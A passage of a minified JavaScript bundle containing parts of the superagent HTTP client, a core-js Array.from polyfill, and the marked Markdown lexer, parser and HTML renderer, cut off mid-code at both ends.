t=e/100|0;this.statusCode=e,this.status=this.statusCode,this.statusType=t,this.info=1===t,this.ok=2===t,this.redirect=3===t,this.clientError=4===t,this.serverError=5===t,this.error=(4===t||5===t)&&this.toError(),this.created=201===e,this.accepted=202===e,this.noContent=204===e,this.badRequest=400===e,this.unauthorized=401===e,this.notAcceptable=406===e,this.forbidden=403===e,this.notFound=404===e,this.unprocessableEntity=422===e}},function(e,t,n){"use strict";t.type=function(e){return e.split(/ *; */).shift()},t.params=function(e){return e.split(/ *; */).reduce(function(e,t){var n=t.split(/ *= */),r=n.shift(),i=n.shift();return r&&i&&(e[r]=i),e},{})},t.parseLinks=function(e){return e.split(/ *, */).reduce(function(e,t){var n=t.split(/ *; */),r=n[0].slice(1,-1);return e[n[1].split(/ *= */)[1].slice(1,-1)]=r,e},{})},t.cleanHeader=function(e,t){return delete e["content-type"],delete e["content-length"],delete e["transfer-encoding"],delete e.host,t&&(delete e.authorization,delete e.cookie),e}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e){return a(e)||s(e)||o()}function o(){throw new TypeError("Invalid attempt to spread non-iterable instance")}function s(e){if((0,h.default)(Object(e))||"[object Arguments]"===Object.prototype.toString.call(e))return(0,l.default)(e)}function a(e){if(Array.isArray(e)){for(var t=0,n=new Array(e.length);t<e.length;t++)n[t]=e[t];return n}}function u(){this._defaults=[]}var c=n(175),l=r(c),f=n(79),h=r(f);["use","on","once","set","query","type","accept","auth","withCredentials","sortQuery","retry","ok","redirects","timeout","buffer","serialize","parse","ca","key","pfx","cert","disableTLSCerts"].forEach(function(e){u.prototype[e]=function(){for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return this._defaults.push({fn:e,args:n}),this}}),u.prototype._setDefaults=function(e){this._defaults.forEach(function(t){e[t.fn].apply(e,i(t.args))})},e.exports=u},function(e,t,n){e.exports={default:n(176),__esModule:!0}},function(e,t,n){n(21),n(177),e.exports=n(1).Array.from},function(e,t,n){"use strict";var r=n(23),i=n(10),o=n(27),s=n(60),a=n(61),u=n(40),c=n(178),l=n(45);i(i.S+i.F*!n(66)(function(e){Array.from(e)}),"Array",{from:function(e){var t,n,i,f,h=o(e),d="function"==typeof this?this:Array,p=arguments.length,v=p>1?arguments[1]:void 0,g=void 0!==v,m=0,_=l(h);if(g&&(v=r(v,p>2?arguments[2]:void 0,2)),void 0==_||d==Array&&a(_))for(t=u(h.length),n=new d(t);t>m;m++)c(n,m,g?v(h[m],m):h[m]);else for(f=_.call(h),n=new d;!(i=f.next()).done;m++)c(n,m,g?s(f,v,[i.value,m],!0):i.value);return n.length=m,n}})},function(e,t,n){"use strict";var r=n(7),i=n(25);e.exports=function(e,t,n){t in e?r.f(e,t,i(0,n)):e[t]=n}}])})}).call(t,n(16))},function(e,t,n){(function(t){!function(t){"use strict";function n(e){this.tokens=[],this.tokens.links=Object.create(null),this.options=e||_.defaults,this.rules=y.normal,this.options.pedantic?this.rules=y.pedantic:this.options.gfm&&(this.options.tables?this.rules=y.tables:this.rules=y.gfm)}function r(e,t){if(this.options=t||_.defaults,this.links=e,this.rules=b.normal,this.renderer=this.options.renderer||new i,this.renderer.options=this.options,!this.links)throw new Error("Tokens array requires a `links` property.");this.options.pedantic?this.rules=b.pedantic:this.options.gfm&&(this.options.breaks?this.rules=b.breaks:this.rules=b.gfm)}function i(e){this.options=e||_.defaults}function o(){}function s(e){this.tokens=[],this.token=null,this.options=e||_.defaults,this.options.renderer=this.options.renderer||new i,this.renderer=this.options.renderer,this.renderer.options=this.options,this.slugger=new a}function a(){this.seen={}}function u(e,t){if(t){if(u.escapeTest.test(e))return e.replace(u.escapeReplace,function(e){return u.replacements[e]})}else if(u.escapeTestNoEncode.test(e))return e.replace(u.escapeReplaceNoEncode,function(e){return u.replacements[e]});return e}function c(e){return e.replace(/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/gi,function(e,t){return t=t.toLowerCase(),"colon"===t?":":"#"===t.charAt(0)?"x"===t.charAt(1)?String.fromCharCode(parseInt(t.substring(2),16)):String.fromCharCode(+t.substring(1)):""})}function l(e,t){return e=e.source||e,t=t||"",{replace:function(t,n){return n=n.source||n,n=n.replace(/(^|[^\[])\^/g,"$1"),e=e.replace(t,n),this},getRegex:function(){return new RegExp(e,t)}}}function f(e,t,n){if(e){try{var r=decodeURIComponent(c(n)).replace(/[^\w:]/g,"").toLowerCase()}catch(e){return null}if(0===r.indexOf("javascript:")||0===r.indexOf("vbscript:")||0===r.indexOf("data:"))return null}t&&!x.test(n)&&(n=h(t,n));try{n=encodeURI(n).replace(/%25/g,"%")}catch(e){return null}return n}function h(e,t){return w[" "+e]||(/^[^:]+:\/*[^\/]*$/.test(e)?w[" "+e]=e+"/":w[" "+e]=g(e,"/",!0)),e=w[" "+e],"//"===t.slice(0,2)?e.replace(/:[\s\S]*/,":")+t:"/"===t.charAt(0)?e.replace(/(:\/*[^\/]*)[\s\S]*/,"$1")+t:e+t}function d(){}function p(e){for(var t,n,r=1;r<arguments.length;r++){t=arguments[r];for(n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])}return e}function v(e,t){var n=e.replace(/\|/g,function(e,t,n){for(var r=!1,i=t;--i>=0&&"\\"===n[i];)r=!r;return r?"|":" |"}),r=n.split(/ \|/),i=0;if(r.length>t)r.splice(t);else for(;r.length<t;)r.push("");for(;i<r.length;i++)r[i]=r[i].trim().replace(/\\\|/g,"|");return r}function g(e,t,n){if(0===e.length)return"";for(var r=0;r<e.length;){var i=e.charAt(e.length-r-1);if(i!==t||n){if(i===t||!n)break;r++}else r++}return e.substr(0,e.length-r)}function m(e,t){if(-1===e.indexOf(t[1]))return-1;for(var n=0,r=0;r<e.length;r++)if("\\"===e[r])r++;else if(e[r]===t[0])n++;else if(e[r]===t[1]&&--n<0)return r;return-1}function _(e,t,r){if(void 0===e||null===e)throw new Error("marked(): input parameter is undefined or null");if("string"!=typeof e)throw new Error("marked(): input parameter is of type "+Object.prototype.toString.call(e)+", string expected");if(r||"function"==typeof t){r||(r=t,t=null),t=p({},_.defaults,t||{});var i,o,a=t.highlight,c=0;try{i=n.lex(e,t)}catch(e){return r(e)}o=i.length;var l=function(e){if(e)return t.highlight=a,r(e);var n;try{n=s.parse(i,t)}catch(t){e=t}return t.highlight=a,e?r(e):r(null,n)};if(!a||a.length<3)return l();if(delete t.highlight,!o)return l();for(;c<i.length;c++)!function(e){"code"!==e.type?--o||l():a(e.text,e.lang,function(t,n){return t?l(t):null==n||n===e.text?--o||l():(e.text=n,e.escaped=!0,void(--o||l()))})}(i[c])}else try{return t&&(t=p({},_.defaults,t)),s.parse(n.lex(e,t),t)}catch(e){if(e.message+="\nPlease report this to https://github.com/markedjs/marked.",(t||_.defaults).silent)return"<p>An error occurred:</p><pre>"+u(e.message+"",!0)+"</pre>";throw e}}var y={newline:/^\n+/,code:/^( {4}[^\n]+\n*)+/,fences:d,hr:/^ {0,3}((?:- *){3,}|(?:_ *){3,}|(?:\* *){3,})(?:\n+|$)/,heading:/^ *(#{1,6}) *([^\n]+?) *(?:#+ *)?(?:\n+|$)/,nptable:d,blockquote:/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/,list:/^( {0,3})(bull) [\s\S]+?(?:hr|def|\n{2,}(?! )(?!\1bull )\n*|\s*$)/,html:"^ {0,3}(?:<(script|pre|style)[\\s>][\\s\\S]*?(?:</\\1>[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?\\?>\\n*|<![A-Z][\\s\\S]*?>\\n*|<!\\[CDATA\\[[\\s\\S]*?\\]\\]>\\n*|</?(tag)(?: +|\\n|/?>)[\\s\\S]*?(?:\\n{2,}|$)|<(?!script|pre|style)([a-z][\\w-]*)(?:attribute)*? */?>(?=\\h*\\n)[\\s\\S]*?(?:\\n{2,}|$)|</(?!script|pre|style)[a-z][\\w-]*\\s*>(?=\\h*\\n)[\\s\\S]*?(?:\\n{2,}|$))",def:/^ {0,3}\[(label)\]: *\n? *<?([^\s>]+)>?(?:(?: +\n? *| *\n *)(title))? *(?:\n+|$)/,table:d,lheading:/^([^\n]+)\n *(=|-){2,} *(?:\n+|$)/,paragraph:/^([^\n]+(?:\n(?!hr|heading|lheading| {0,3}>|<\/?(?:tag)(?: +|\n|\/?>)|<(?:script|pre|style|!--))[^\n]+)*)/,text:/^[^\n]+/};y._label=/(?!\s*\])(?:\\[\[\]]|[^\[\]])+/,y._title=/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/,y.def=l(y.def).replace("label",y._label).replace("title",y._title).getRegex(),y.bullet=/(?:[*+-]|\d{1,9}\.)/,y.item=/^( *)(bull) ?[^\n]*(?:\n(?!\1bull ?)[^\n]*)*/,y.item=l(y.item,"gm").replace(/bull/g,y.bullet).getRegex(),y.list=l(y.list).replace(/bull/g,y.bullet).replace("hr","\\n+(?=\\1?(?:(?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$))").replace("def","\\n+(?="+y.def.source+")").getRegex(),y._tag="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|section|source|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",y._comment=/<!--(?!-?>)[\s\S]*?-->/,y.html=l(y.html,"i").replace("comment",y._comment).replace("tag",y._tag).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),y.paragraph=l(y.paragraph).replace("hr",y.hr).replace("heading",y.heading).replace("lheading",y.lheading).replace("tag",y._tag).getRegex(),y.blockquote=l(y.blockquote).replace("paragraph",y.paragraph).getRegex(),y.normal=p({},y),y.gfm=p({},y.normal,{fences:/^ {0,3}(`{3,}|~{3,})([^`\n]*)\n(?:|([\s\S]*?)\n)(?: {0,3}\1[~`]* *(?:\n+|$)|$)/,paragraph:/^/,heading:/^ *(#{1,6}) +([^\n]+?) *#* *(?:\n+|$)/}),y.gfm.paragraph=l(y.paragraph).replace("(?!","(?!"+y.gfm.fences.source.replace("\\1","\\2")+"|"+y.list.source.replace("\\1","\\3")+"|").getRegex(),y.tables=p({},y.gfm,{nptable:/^ *([^|\n ].*\|.*)\n *([-:]+ *\|[-| :]*)(?:\n((?:.*[^>\n ].*(?:\n|$))*)\n*|$)/,table:/^ *\|(.+)\n *\|?( *[-:]+[-| :]*)(?:\n((?: *[^>\n ].*(?:\n|$))*)\n*|$)/}),y.pedantic=p({},y.normal,{html:l("^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+?</\\1> *(?:\\n{2,}|\\s*$)|<tag(?:\"[^\"]*\"|'[^']*'|\\s[^'\"/>\\s]*)*?/?> *(?:\\n{2,}|\\s*$))").replace("comment",y._comment).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *<?([^\s>]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/}),n.rules=y,n.lex=function(e,t){return new n(t).lex(e)},n.prototype.lex=function(e){return e=e.replace(/\r\n|\r/g,"\n").replace(/\t/g," ").replace(/\u00a0/g," ").replace(/\u2424/g,"\n"),this.token(e,!0)},n.prototype.token=function(e,t){e=e.replace(/^ +$/gm,"");for(var n,r,i,o,s,a,u,c,l,f,h,d,p,m,_,b;e;)if((i=this.rules.newline.exec(e))&&(e=e.substring(i[0].length),i[0].length>1&&this.tokens.push({type:"space"})),i=this.rules.code.exec(e))e=e.substring(i[0].length),i=i[0].replace(/^ {4}/gm,""),this.tokens.push({type:"code",text:this.options.pedantic?i:g(i,"\n")});else if(i=this.rules.fences.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"code",lang:i[2]?i[2].trim():i[2],text:i[3]||""});else if(i=this.rules.heading.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"heading",depth:i[1].length,text:i[2]});else if(t&&(i=this.rules.nptable.exec(e))&&(a={type:"table",header:v(i[1].replace(/^ *| *\| *$/g,"")),align:i[2].replace(/^ *|\| *$/g,"").split(/ *\| */),cells:i[3]?i[3].replace(/\n$/,"").split("\n"):[]},a.header.length===a.align.length)){for(e=e.substring(i[0].length),h=0;h<a.align.length;h++)/^ *-+: *$/.test(a.align[h])?a.align[h]="right":/^ *:-+: *$/.test(a.align[h])?a.align[h]="center":/^ *:-+ *$/.test(a.align[h])?a.align[h]="left":a.align[h]=null;for(h=0;h<a.cells.length;h++)a.cells[h]=v(a.cells[h],a.header.length);this.tokens.push(a)}else if(i=this.rules.hr.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"hr"});else if(i=this.rules.blockquote.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"blockquote_start"}),i=i[0].replace(/^ *> ?/gm,""),this.token(i,t),this.tokens.push({type:"blockquote_end"});else if(i=this.rules.list.exec(e)){for(e=e.substring(i[0].length),o=i[2],m=o.length>1,u={type:"list_start",ordered:m,start:m?+o:"",loose:!1},this.tokens.push(u),i=i[0].match(this.rules.item),c=[],n=!1,p=i.length,h=0;h<p;h++)a=i[h],f=a.length,a=a.replace(/^ *([*+-]|\d+\.) */,""),~a.indexOf("\n ")&&(f-=a.length,a=this.options.pedantic?a.replace(/^ {1,4}/gm,""):a.replace(new RegExp("^ {1,"+f+"}","gm"),"")),h!==p-1&&(s=y.bullet.exec(i[h+1])[0],(o.length>1?1===s.length:s.length>1||this.options.smartLists&&s!==o)&&(e=i.slice(h+1).join("\n")+e,h=p-1)),r=n||/\n\n(?!\s*$)/.test(a),h!==p-1&&(n="\n"===a.charAt(a.length-1),r||(r=n)),r&&(u.loose=!0),_=/^\[[ xX]\] /.test(a),b=void 0,_&&(b=" "!==a[1],a=a.replace(/^\[[ xX]\] +/,"")),l={type:"list_item_start",task:_,checked:b,loose:r},c.push(l),this.tokens.push(l),this.token(a,!1),this.tokens.push({type:"list_item_end"});if(u.loose)for(p=c.length,h=0;h<p;h++)c[h].loose=!0;this.tokens.push({type:"list_end"})}else if(i=this.rules.html.exec(e))e=e.substring(i[0].length),this.tokens.push({type:this.options.sanitize?"paragraph":"html",pre:!this.options.sanitizer&&("pre"===i[1]||"script"===i[1]||"style"===i[1]),text:i[0]});else if(t&&(i=this.rules.def.exec(e)))e=e.substring(i[0].length),i[3]&&(i[3]=i[3].substring(1,i[3].length-1)),d=i[1].toLowerCase().replace(/\s+/g," "),this.tokens.links[d]||(this.tokens.links[d]={href:i[2],title:i[3]});else if(t&&(i=this.rules.table.exec(e))&&(a={type:"table",header:v(i[1].replace(/^ *| *\| *$/g,"")),align:i[2].replace(/^ *|\| *$/g,"").split(/ *\| */),cells:i[3]?i[3].replace(/(?: *\| *)?\n$/,"").split("\n"):[]},a.header.length===a.align.length)){for(e=e.substring(i[0].length),h=0;h<a.align.length;h++)/^ *-+: *$/.test(a.align[h])?a.align[h]="right":/^ *:-+: *$/.test(a.align[h])?a.align[h]="center":/^ *:-+ *$/.test(a.align[h])?a.align[h]="left":a.align[h]=null;for(h=0;h<a.cells.length;h++)a.cells[h]=v(a.cells[h].replace(/^ *\| *| *\| *$/g,""),a.header.length);this.tokens.push(a)}else if(i=this.rules.lheading.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"heading",depth:"="===i[2]?1:2,text:i[1]});else if(t&&(i=this.rules.paragraph.exec(e)))e=e.substring(i[0].length),this.tokens.push({type:"paragraph",text:"\n"===i[1].charAt(i[1].length-1)?i[1].slice(0,-1):i[1]});else if(i=this.rules.text.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"text",text:i[0]});else if(e)throw new Error("Infinite loop on byte: "+e.charCodeAt(0));return this.tokens};var b={escape:/^\\([!"#$%&'()*+,\-.\/:;<=>?@\[\]\\^_`{|}~])/,autolink:/^<(scheme:[^\s\x00-\x1f<>]*|email)>/,url:d,tag:"^comment|^</[a-zA-Z][\\w:-]*\\s*>|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^<![a-zA-Z]+\\s[\\s\\S]*?>|^<!\\[CDATA\\[[\\s\\S]*?\\]\\]>",link:/^!?\[(label)\]\(href(?:\s+(title))?\s*\)/,reflink:/^!?\[(label)\]\[(?!\s*\])((?:\\[\[\]]?|[^\[\]\\])+)\]/,nolink:/^!?\[(?!\s*\])((?:\[[^\[\]]*\]|\\[\[\]]|[^\[\]])*)\](?:\[\])?/,strong:/^__([^\s_])__(?!_)|^\*\*([^\s*])\*\*(?!\*)|^__([^\s][\s\S]*?[^\s])__(?!_)|^\*\*([^\s][\s\S]*?[^\s])\*\*(?!\*)/,em:/^_([^\s_])_(?!_)|^\*([^\s*"<\[])\*(?!\*)|^_([^\s][\s\S]*?[^\s_])_(?!_|[^\spunctuation])|^_([^\s_][\s\S]*?[^\s])_(?!_|[^\spunctuation])|^\*([^\s"<\[][\s\S]*?[^\s*])\*(?!\*)|^\*([^\s*"<\[][\s\S]*?[^\s])\*(?!\*)/,code:/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,br:/^( {2,}|\\)\n(?!\s*$)/,del:d,text:/^(`+|[^`])[\s\S]*?(?=[\\<!\[`*]|\b_| {2,}\n|$)/};b._punctuation="!\"#$%&'()*+,\\-./:;<=>?@\\[^_{|}~",b.em=l(b.em).replace(/punctuation/g,b._punctuation).getRegex(),b._escapes=/\\([!"#$%&'()*+,\-.\/:;<=>?@\[\]\\^_`{|}~])/g,b._scheme=/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/,b._email=/[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/,b.autolink=l(b.autolink).replace("scheme",b._scheme).replace("email",b._email).getRegex(),b._attribute=/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/,b.tag=l(b.tag).replace("comment",y._comment).replace("attribute",b._attribute).getRegex(),b._label=/(?:\[[^\[\]]*\]|\\[\[\]]?|`[^`]*`|[^\[\]\\])*?/,b._href=/\s*(<(?:\\[<>]?|[^\s<>\\])*>|[^\s\x00-\x1f]*)/,b._title=/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/,b.link=l(b.link).replace("label",b._label).replace("href",b._href).replace("title",b._title).getRegex(),b.reflink=l(b.reflink).replace("label",b._label).getRegex(),b.normal=p({},b),b.pedantic=p({},b.normal,{strong:/^__(?=\S)([\s\S]*?\S)__(?!_)|^\*\*(?=\S)([\s\S]*?\S)\*\*(?!\*)/,em:/^_(?=\S)([\s\S]*?\S)_(?!_)|^\*(?=\S)([\s\S]*?\S)\*(?!\*)/,link:l(/^!?\[(label)\]\((.*?)\)/).replace("label",b._label).getRegex(),reflink:l(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace("label",b._label).getRegex()}),b.gfm=p({},b.normal,{escape:l(b.escape).replace("])","~|])").getRegex(),_extended_email:/[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/,url:/^((?:ftp|https?):\/\/|www\.)(?:[a-zA-Z0-9\-]+\.?)+[^\s<]*|^email/,_backpedal:/(?:[^?!.,:;*_~()&]+|\([^)]*\)|&(?![a-zA-Z0-9]+;$)|[?!.,:;*_~)]+(?!$))+/,del:/^~+(?=\S)([\s\S]*?\S)~+/,text:l(b.text).replace("]|","~]|").replace("|$","|https?://|ftp://|www\\.|[a-zA-Z0-9.!#$%&'*+/=?^_`{\\|}~-]+@|$").getRegex()}),b.gfm.url=l(b.gfm.url,"i").replace("email",b.gfm._extended_email).getRegex(),b.breaks=p({},b.gfm,{br:l(b.br).replace("{2,}","*").getRegex(),text:l(b.gfm.text).replace("{2,}","*").getRegex()}),r.rules=b,r.output=function(e,t,n){return new r(t,n).output(e)},r.prototype.output=function(e){for(var t,n,i,o,s,a,c="";e;)if(s=this.rules.escape.exec(e))e=e.substring(s[0].length),c+=u(s[1]);else if(s=this.rules.tag.exec(e))!this.inLink&&/^<a /i.test(s[0])?this.inLink=!0:this.inLink&&/^<\/a>/i.test(s[0])&&(this.inLink=!1),!this.inRawBlock&&/^<(pre|code|kbd|script)(\s|>)/i.test(s[0])?this.inRawBlock=!0:this.inRawBlock&&/^<\/(pre|code|kbd|script)(\s|>)/i.test(s[0])&&(this.inRawBlock=!1),e=e.substring(s[0].length),c+=this.options.sanitize?this.options.sanitizer?this.options.sanitizer(s[0]):u(s[0]):s[0];else if(s=this.rules.link.exec(e)){var l=m(s[2],"()");if(l>-1){var f=s[2].length-l;s[2]=s[2].substring(0,l),s[0]=s[0].substring(0,s[0].length-f)}e=e.substring(s[0].length),this.inLink=!0,i=s[2],this.options.pedantic?(t=/^([^'"]*[^\s])\s+(['"])(.*)\2/.exec(i),t?(i=t[1],o=t[3]):o=""):o=s[3]?s[3].slice(1,-1):"",i=i.trim().replace(/^<([\s\S]*)>$/,"$1"),c+=this.outputLink(s,{href:r.escapes(i),title:r.escapes(o)}),this.inLink=!1}else if((s=this.rules.reflink.exec(e))||(s=this.rules.nolink.exec(e))){if(e=e.substring(s[0].length),t=(s[2]||s[1]).replace(/\s+/g," "),!(t=this.links[t.toLowerCase()])||!t.href){c+=s[0].charAt(0),e=s[0].substring(1)+e;continue}this.inLink=!0,c+=this.outputLink(s,t),this.inLink=!1}else if(s=this.rules.strong.exec(e))e=e.substring(s[0].length),c+=this.renderer.strong(this.output(s[4]||s[3]||s[2]||s[1]));else if(s=this.rules.em.exec(e))e=e.substring(s[0].length),c+=this.renderer.em(this.output(s[6]||s[5]||s[4]||s[3]||s[2]||s[1]));else if(s=this.rules.code.exec(e))e=e.substring(s[0].length),c+=this.renderer.codespan(u(s[2].trim(),!0));else if(s=this.rules.br.exec(e))e=e.substring(s[0].length),c+=this.renderer.br();else if(s=this.rules.del.exec(e))e=e.substring(s[0].length),c+=this.renderer.del(this.output(s[1]));else if(s=this.rules.autolink.exec(e))e=e.substring(s[0].length),"@"===s[2]?(n=u(this.mangle(s[1])),i="mailto:"+n):(n=u(s[1]),i=n),c+=this.renderer.link(i,null,n);else if(this.inLink||!(s=this.rules.url.exec(e))){if(s=this.rules.text.exec(e))e=e.substring(s[0].length),this.inRawBlock?c+=this.renderer.text(s[0]):c+=this.renderer.text(u(this.smartypants(s[0])));else if(e)throw new Error("Infinite loop on byte: "+e.charCodeAt(0))}else{if("@"===s[2])n=u(s[0]),i="mailto:"+n;else{do{a=s[0],s[0]=this.rules._backpedal.exec(s[0])[0]}while(a!==s[0]);n=u(s[0]),i="www."===s[1]?"http://"+n:n}e=e.substring(s[0].length),c+=this.renderer.link(i,null,n)}return c},r.escapes=function(e){return e?e.replace(r.rules._escapes,"$1"):e},r.prototype.outputLink=function(e,t){var n=t.href,r=t.title?u(t.title):null;return"!"!==e[0].charAt(0)?this.renderer.link(n,r,this.output(e[1])):this.renderer.image(n,r,u(e[1]))},r.prototype.smartypants=function(e){return this.options.smartypants?e.replace(/---/g,"—").replace(/--/g,"–").replace(/(^|[-\u2014\/(\[{"\s])'/g,"$1‘").replace(/'/g,"’").replace(/(^|[-\u2014\/(\[{\u2018\s])"/g,"$1“").replace(/"/g,"”").replace(/\.{3}/g,"…"):e},r.prototype.mangle=function(e){if(!this.options.mangle)return e;for(var t,n="",r=e.length,i=0;i<r;i++)t=e.charCodeAt(i),Math.random()>.5&&(t="x"+t.toString(16)),n+="&#"+t+";";return n},i.prototype.code=function(e,t,n){var r=(t||"").match(/\S*/)[0];if(this.options.highlight){var i=this.options.highlight(e,r);null!=i&&i!==e&&(n=!0,e=i)}return r?'<pre><code class="'+this.options.langPrefix+u(r,!0)+'">'+(n?e:u(e,!0))+"</code></pre>\n":"<pre><code>"+(n?e:u(e,!0))+"</code></pre>"},i.prototype.blockquote=function(e){return"<blockquote>\n"+e+"</blockquote>\n"},i.prototype.html=function(e){return e},i.prototype.heading=function(e,t,n,r){return this.options.headerIds?"<h"+t+' id="'+this.options.headerPrefix+r.slug(n)+'">'+e+"</h"+t+">\n":"<h"+t+">"+e+"</h"+t+">\n"},i.prototype.hr=function(){return this.options.xhtml?"<hr/>\n":"<hr>\n"},i.prototype.list=function(e,t,n){var r=t?"ol":"ul";return"<"+r+(t&&1!==n?' start="'+n+'"':"")+">\n"+e+"</"+r+">\n"},i.prototype.listitem=function(e){return"<li>"+e+"</li>\n"},i.prototype.checkbox=function(e){return"<input "+(e?'checked="" ':"")+'disabled="" type="checkbox"'+(this.options.xhtml?" /":"")+"> "},i.prototype.paragraph=function(e){return"<p>"+e+"</p>\n"},i.prototype.table=function(e,t){return t&&(t="<tbody>"+t+"</tbody>"),"<table>\n<thead>\n"+e+"</thead>\n"+t+"</table>\n"},i.prototype.tablerow=function(e){return"<tr>\n"+e+"</tr>\n"},i.prototype.tablecell=function(e,t){var n=t.header?"th":"td";return(t.align?"<"+n+' align="'+t.align+'">':"<"+n+">")+e+"</"+n+">\n"},i.prototype.strong=function(e){return"<strong>"+e+"</strong>"},i.prototype.em=function(e){return"<em>"+e+"</em>"},i.prototype.codespan=function(e){return"<code>"+e+"</code>"},i.prototype.br=function(){return this.options.xhtml?"<br/>":"<br>"},i.prototype.del=function(e){return"<del>"+e+"</del>"},i.prototype.link=function(e,t,n){if(null===(e=f(this.options.sanitize,this.options.baseUrl,e)))return n;var r='<a href="'+u(e)+'"';return t&&(r+=' title="'+t+'"'),r+=">"+n+"</a>"},i.prototype.image=function(e,t,n){if(null===(e=f(this.options.sanitize,this.options.baseUrl,e)))return n;var r='<img src="'+e+'" alt="'+n+'"';return t&&(r+=' title="'+t+'"'),r+=this.options.xhtml?"/>":">"},i.prototype.text=function(e){return e},o.prototype.strong=o.prototype.em=o.prototype.codespan=o.prototype.del=o.prototype.text=function(e){return e},o.prototype.link=o.prototype.image=function(e,t,n){return""+n},o.prototype.br=function(){return""},s.parse=function(e,t){return new s(t).parse(e)},s.prototype.parse=function(e){this.inline=new r(e.links,this.options),this.inlineText=new r(e.links,p({},this.options,{renderer:new o})),this.tokens=e.reverse();for(var t="";this.next();)t+=this.tok();return t},s.prototype.next=function(){return this.token=this.tokens.pop()},s.prototype.peek=function(){return this.tokens[this.tokens.length-1]||0},s.prototype.parseText=function(){for(var e=this.token.text;"text"===this.peek().type;)e+="\n"+this.next().text;return this.inline.output(e)},s.prototype.tok=function(){switch(this.token.type){case"space":return"";case"hr":return this.renderer.hr();case"heading":return this.renderer.heading(this.inline.output(this.token.text),this.token.depth,c(this.inlineText.output(this.token.text)),this.slugger);case"code":return this.renderer.code(this.token.text,this.token.lang,this.token.escaped);case"table":var e,t,n,r,i="",o="";for(n="",e=0;e<this.token.header.length;e++)n+=this.renderer.tablecell(this.inline.output(this.token.header[e]),{header:!0,align:this.token.align[e]});for(i+=this.renderer.tablerow(n),e=0;e<this.token.cells.length;e++){for(t=this.token.cells[e],n="",r=0;r<t.length;r++)n+=this.renderer.tablecell(this.inline.output(t[r]),{header:!1,align:this.token.align[r]});o+=this.renderer.tablerow(n)}return this.renderer.table(i,o);case"blockquote_start":for(o="";"blockquote_end"!==this.next().type;)o+=this.tok();return this.renderer.blockquote(o);case"list_start":o="";for(var s=this.token.ordered,a=this.token.start;"list_end"!==this.next().type;)o+=this.tok();return this.renderer.list(o,s,a);case"list_item_start":o="";var u=this.token.loose;for(this.token.task&&(o+=this.renderer.checkbox(this.token.checked));"list_item_end"!==this.next().type;)o+=u||"text"!==this.token.type?this.tok():this.parseText();return this.renderer.listitem(o);case"html":return this.renderer.html(this.token.text);case"paragraph":return this.renderer.paragraph(this.inline.output(this.token.text));case"text":return this.renderer.paragraph(this.parseText());default:var l='Token with "'+this.token.type+'" type was not found.';if(!this.options.silent)throw new Error(l);console.log(l)}},a.prototype.slug=function(e){var t=e.toLowerCase().trim().replace(/[\u2000-\u206F\u2E00-\u2E7F\\'!"#$%&()*+,.\/:;<=>?@[\]^`{|}~]/g,"").replace(/\s/g,"-");if(this.seen.hasOwnProperty(t)){var n=t;do{this.seen[n]++,t=n+"-"+this.seen[n]}while(this.seen.hasOwnProperty(t))}return this.seen[t]=0,t},u.escapeTest=/[&<>"']/,u.escapeReplace=/[&<>"']/g,u.replacements={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"},u.escapeTestNoEncode=/[<>"']|&(?!#?\w+;)/,u.escapeReplaceNoEncode=/[<>"']|&(?!#?\w+;)/g;var w={},x=/^$|^[a-z][a-z0-9+.-]*:|^[?#]/i;d.exec=d,_.options=_.setOptions=function(e){return p(_.defaults,e),_},_.getDefaults=function(){return{baseUrl:null,breaks:!1,gfm:!0,headerIds:!0,headerPrefix:"",highlight:null,langPrefix:"language-",mangle:!0,pedantic:!1,renderer:new 